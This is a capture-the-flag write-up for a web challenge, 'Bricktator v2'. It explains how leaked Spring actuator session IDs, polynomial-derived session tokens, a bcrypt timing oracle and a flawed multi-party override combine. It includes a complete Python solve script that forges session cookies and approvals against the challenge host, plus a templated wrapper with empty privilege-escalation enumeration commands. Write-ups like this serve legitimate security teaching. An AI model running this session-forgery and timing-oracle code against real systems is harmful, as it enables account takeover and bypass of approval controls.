← Back to Writeups
HTBN/AWeb

Bricktator v2

XESXOR8/23/20269 min read
#web#htb#n/a

Bricktator v2

Platform: Umasscybersec | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: actuator_session_enumeration, multi_party_approval_bypass, secret_sharing_reconstruction, timing_oracle_session_classification

Summary

Task: a Spring Boot control panel exposed session metadata through an authenticated actuator endpoint and used deterministic share-based session ids. Solution: reconstruct the quadratic session polynomial, classify YANKEE_WHITE sessions with a timing oracle, then complete the public multi-party override flow with forged session cookies.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: umasscybersec | ID: 20260411_umasscybersec_bricktator_v2
  • Tags: session_cookie, spring_boot, actuator, spring_session, secret_sharing, timing_side_channel
  • Indicators: authenticated users can query /actuator/sessions?username=<user>, SESSION cookie is base64 of a raw id like 05001-56d11080, session ids look like deterministic shares rather than random tokens, requests to /command are noticeably slower for YANKEE_WHITE sessions, /override/** is public but approval checks only the stored session role
  • Source: 20260411_umasscybersec_bricktator_v2.md

Foothold

Vulnerability / Misconfiguration

  1. Actuator_session_enumeration
  2. Multi_party_approval_bypass
  3. Secret_sharing_reconstruction
  4. Timing_oracle_session_classification
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • actuator_session_enumeration
  • multi_party_approval_bypass
  • secret_sharing_reconstruction
  • timing_oracle_session_classification
  • Tags: session_cookie, spring_boot, actuator, spring_session, secret_sharing, timing_side_channel

Original Writeup

<details><summary>Click to expand original content</summary>

Bricktator v2 — UMass Cybersecurity CTF

Description

NUCLEAR CONTROL CENTER — TARGETTED ESPIONAGE

We have gathered intelligence that their overide system requires four individuals with the highest security clearance to shut down. You must infiltrate their control systems and compromise four accounts.

Luckily, the Bricktator is not very tech literate, and we have managed to compromise his credentials from a spear-phishing attack.

bricktator/goldeagle.

English summary: this was a Spring Boot web challenge where one valid low-privilege login exposed enough session metadata to recover every seeded session id in the system. A timing side channel then separated high-clearance sessions from normal ones, which made the multi-party override solvable.

Challenge Summary

The challenge starts with working credentials for bricktator/goldeagle. After login, the application exposes Spring actuator endpoints, and one of them leaks session ids by username. Those session ids are not random: they are deterministic shares from a quadratic polynomial modulo a prime. Once that polynomial is reconstructed, all valid session ids can be generated offline.

The final step is not simple session forgery by itself. The override workflow needs multiple YANKEE_WHITE participants, so the remaining problem is to classify which enumerated sessions belong to that role. That distinction leaks through a timing oracle in /command, allowing recovery of four extra privileged sessions and completion of the shutdown flow.

Recon Findings

After reading the dossier and logging in as bricktator, the most important observations were:

  • authenticated users could browse actuator links from the app;
  • GET /actuator/sessions?username=<user> returned raw session ids for chosen usernames;
  • useful seeded shares were recoverable for john_doe, jane_doe, and bricktator;
  • the session format was fixed-width and share-like rather than random;
  • the remote used modulus 2147483647 (0x7fffffff);
  • the SESSION cookie was just base64 of the raw session id string;
  • /actuator/accesslog was disabled remotely, so the residual side channel had to come from timing.

Useful request pattern:

GET /actuator/sessions?username=bricktator HTTP/1.1
Host: bricktatorv2.web.ctf.umasscybersec.org:8080
Cookie: SESSION=<authenticated cookie>

Representative responses included ids in this format:

05001-56d11080
00005-2530641c
00001-........

That immediately suggested each id encoded an x-coordinate and a y-value in hex.

Vulnerability / Logic Analysis

1. Session enumeration through actuator

The first vulnerability was an authenticated information leak: /actuator/sessions?username=<user> exposed raw session ids for arbitrary users. That already breaks session secrecy.

2. Deterministic session generation

The more serious flaw was that session ids were generated from a quadratic Shamir-like polynomial instead of a cryptographically random token. With three shares, the entire polynomial can be reconstructed.

The relevant model was:

y = a*x^2 + b*x + c mod p
p = 2147483647

Known x-coordinates from the application logic were effectively:

  • john_doe -> x = 1
  • jane_doe -> x = 5
  • bricktator -> x = 5001

With those three (x, y) points, all valid session ids for x = 1..5001 can be enumerated.

3. Role leak through timing

Enumerating valid sessions still does not reveal which users have YANKEE_WHITE. That leaked through CommandWorkFilter: requests to /command decoded the SESSION cookie, loaded the backing session, and performed an expensive bcrypt operation only for YANKEE_WHITE sessions.

So the oracle was:

  • YANKEE_WHITE session -> slow /command
  • Q_CLEARANCE session -> fast /command

This remained exploitable even though /actuator/accesslog was disabled on the remote target.

4. Override flow trusts session repository state

The override logic had a second authorization flaw. /override/** was reachable without authentication, but the completion logic still trusted the server-side session repository role values. That meant an attacker only needed valid privileged session ids, not a real interactive login for each privileged user.

In other words:

  • /command/override had to be initiated as bricktator;
  • /override/<token> accepted approvals using session cookies alone;
  • final completion checked stored session roles, not whether each approver had properly authenticated during the flow.

Exploitation Steps

  1. Log in with the dossier credentials bricktator/goldeagle.
  2. Query the actuator session endpoint for john_doe, jane_doe, and bricktator.
  3. Parse the three raw ids into (x, y) shares.
  4. Reconstruct the quadratic polynomial modulo 2147483647.
  5. Enumerate every valid session id for x = 1..5001.
  6. Convert each raw id into a cookie value using base64.
  7. Send timing probes to /command and rank candidates by response time.
  8. Keep the slow candidates, which correspond to YANKEE_WHITE sessions.
  9. Start the override as bricktator via /command/override and extract the override token.
  10. Submit four more approvals to /override/<token> using distinct recovered YANKEE_WHITE session cookies.
  11. Open the completion page and read the flag.

Key Code / HTTP Snippets

Recovering shares

def get_user_session(sess, username):
    r = sess.get(
        f"{BASE}/actuator/sessions",
        params={"username": username},
        allow_redirects=False,
        timeout=15,
    )
    data = r.json()
    return data["sessions"][0]["id"]

Decoding and re-encoding the session cookie

import base64

raw_id = "05001-56d11080"
cookie_value = base64.b64encode(raw_id.encode()).decode()

Reconstructing the quadratic polynomial

P = 2147483647

def parse_session_id(raw):
    x_s, y_s = raw.split("-")
    return int(x_s), int(y_s, 16)

def eval_poly(coeffs, x):
    c, b, a = coeffs
    return (c + b * x + a * x * x) % P

Timing oracle against /command

def measure_once(raw_id):
    headers = {"Cookie": f"SESSION={b64(raw_id)}"}
    start = time.perf_counter()
    r = requests.get(f"{BASE}/command", headers=headers, allow_redirects=False, timeout=15)
    return time.perf_counter() - start, r.status_code

Approval flow

POST /command/override HTTP/1.1
Cookie: SESSION=<bricktator cookie>
POST /override/<token> HTTP/1.1
Cookie: SESSION=<base64(valid_yankee_white_session_id)>

Full solve script

#!/usr/bin/env python3
import base64
import json
import re
import threading
import time
from concurrent.futures import ThreadPoolExecutor, as_completed

import requests


BASE = "http://bricktatorv2.web.ctf.umasscybersec.org:8080"
USER = "bricktator"
PASSWORD = "goldeagle"
P = 2147483647
MAX_X = 5001
SCAN_WORKERS = 12
TIMEOUT = 15

thread_local = threading.local()


def b64(raw: str) -> str:
    return base64.b64encode(raw.encode()).decode()


def parse_session_id(raw: str):
    x_s, y_s = raw.split("-")
    return int(x_s), int(y_s, 16)


def format_session_id(x: int, y: int) -> str:
    return f"{x:05d}-{y:08x}"


def get_thread_session():
    sess = getattr(thread_local, "session", None)
    if sess is None:
        sess = requests.Session()
        thread_local.session = sess
    return sess


def solve_mod_3x3(shares):
    matrix = [[1, x % P, (x * x) % P] for x, _ in shares]
    vec = [y % P for _, y in shares]
    for col in range(3):
        pivot = next(r for r in range(col, 3) if matrix[r][col] % P != 0)
        matrix[col], matrix[pivot] = matrix[pivot], matrix[col]
        vec[col], vec[pivot] = vec[pivot], vec[col]
        inv = pow(matrix[col][col], -1, P)
        matrix[col] = [(v * inv) % P for v in matrix[col]]
        vec[col] = (vec[col] * inv) % P
        for r in range(3):
            if r == col:
                continue
            factor = matrix[r][col] % P
            if factor:
                matrix[r] = [
                    (matrix[r][c] - factor * matrix[col][c]) % P for c in range(3)
                ]
                vec[r] = (vec[r] - factor * vec[col]) % P
    c, b, a = vec
    return c, b, a


def eval_poly(coeffs, x):
    c, b, a = coeffs
    return (c + b * x + a * x * x) % P


def login_and_get_shares():
    sess = requests.Session()
    sess.get(f"{BASE}/login", timeout=TIMEOUT)
    resp = sess.post(
        f"{BASE}/login",
        data={"username": USER, "password": PASSWORD},
        allow_redirects=False,
        timeout=TIMEOUT,
    )
    if resp.status_code != 302:
        raise RuntimeError("login failed")

    ids = {}
    for username in ("john_doe", "jane_doe", "bricktator"):
        r = sess.get(
            f"{BASE}/actuator/sessions",
            params={"username": username},
            allow_redirects=False,
            timeout=TIMEOUT,
        )
        ids[username] = r.json()["sessions"][0]["id"]
    return sess, ids


def measure_once(raw_id):
    sess = get_thread_session()
    headers = {"Cookie": f"SESSION={b64(raw_id)}"}
    start = time.perf_counter()
    resp = sess.get(
        f"{BASE}/command",
        headers=headers,
        allow_redirects=False,
        timeout=TIMEOUT,
    )
    return raw_id, time.perf_counter() - start, resp.status_code


def average_timing(raw_id, attempts=3):
    vals = [measure_once(raw_id)[1] for _ in range(attempts)]
    return sum(vals) / len(vals), vals


def scan_yankee_white(all_ids, known_ids):
    slow_avg, _ = average_timing(known_ids["bricktator"], attempts=2)
    fast_avg, _ = average_timing(known_ids["jane_doe"], attempts=2)
    threshold = (slow_avg + fast_avg) / 2.0

    scored = []
    with ThreadPoolExecutor(max_workers=SCAN_WORKERS) as pool:
        futures = {pool.submit(measure_once, sid): sid for sid in all_ids}
        for future in as_completed(futures):
            raw_id, elapsed, _ = future.result()
            scored.append((elapsed, raw_id))

    scored.sort(reverse=True)
    shortlist = [raw_id for _, raw_id in scored[:20]]
    verified = []
    for raw_id in shortlist:
        avg, vals = average_timing(raw_id, attempts=3)
        verified.append((avg, raw_id, vals))
    verified.sort(reverse=True)

    return [raw_id for avg, raw_id, _ in verified if avg > threshold]


def initiate_override(sess):
    r = sess.post(f"{BASE}/command/override", allow_redirects=False, timeout=TIMEOUT)
    token = re.search(r"/override/([0-9a-f]{32})", r.text).group(1)
    return token


def approve_with(raw_id, token):
    headers = {"Cookie": f"SESSION={b64(raw_id)}"}
    return requests.post(
        f"{BASE}/override/{token}",
        headers=headers,
        allow_redirects=False,
        timeout=TIMEOUT,
    )


def extract_flag(text):
    m = re.search(r"UMASS\{[^<\s]+\}", text)
    return m.group(0) if m else None


def main():
    sess, ids = login_and_get_shares()
    print(json.dumps(ids, indent=2))

    shares = [
        parse_session_id(ids["john_doe"]),
        parse_session_id(ids["jane_doe"]),
        parse_session_id(ids["bricktator"]),
    ]
    coeffs = solve_mod_3x3(shares)

    all_ids = [format_session_id(x, eval_poly(coeffs, x)) for x in range(1, MAX_X + 1)]
    yws = scan_yankee_white(all_ids, ids)

    token = initiate_override(sess)
    extras = [sid for sid in yws if sid != ids["bricktator"]][:4]

    final_flag = None
    for sid in extras:
        r = approve_with(sid, token)
        final_flag = extract_flag(r.text) or final_flag

    if not final_flag:
        r = requests.get(f"{BASE}/override/{token}", allow_redirects=False, timeout=TIMEOUT)
        final_flag = extract_flag(r.text)

    print(final_flag)


if __name__ == "__main__":
    main()

Final Flag

UMASS{REDACTED}
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR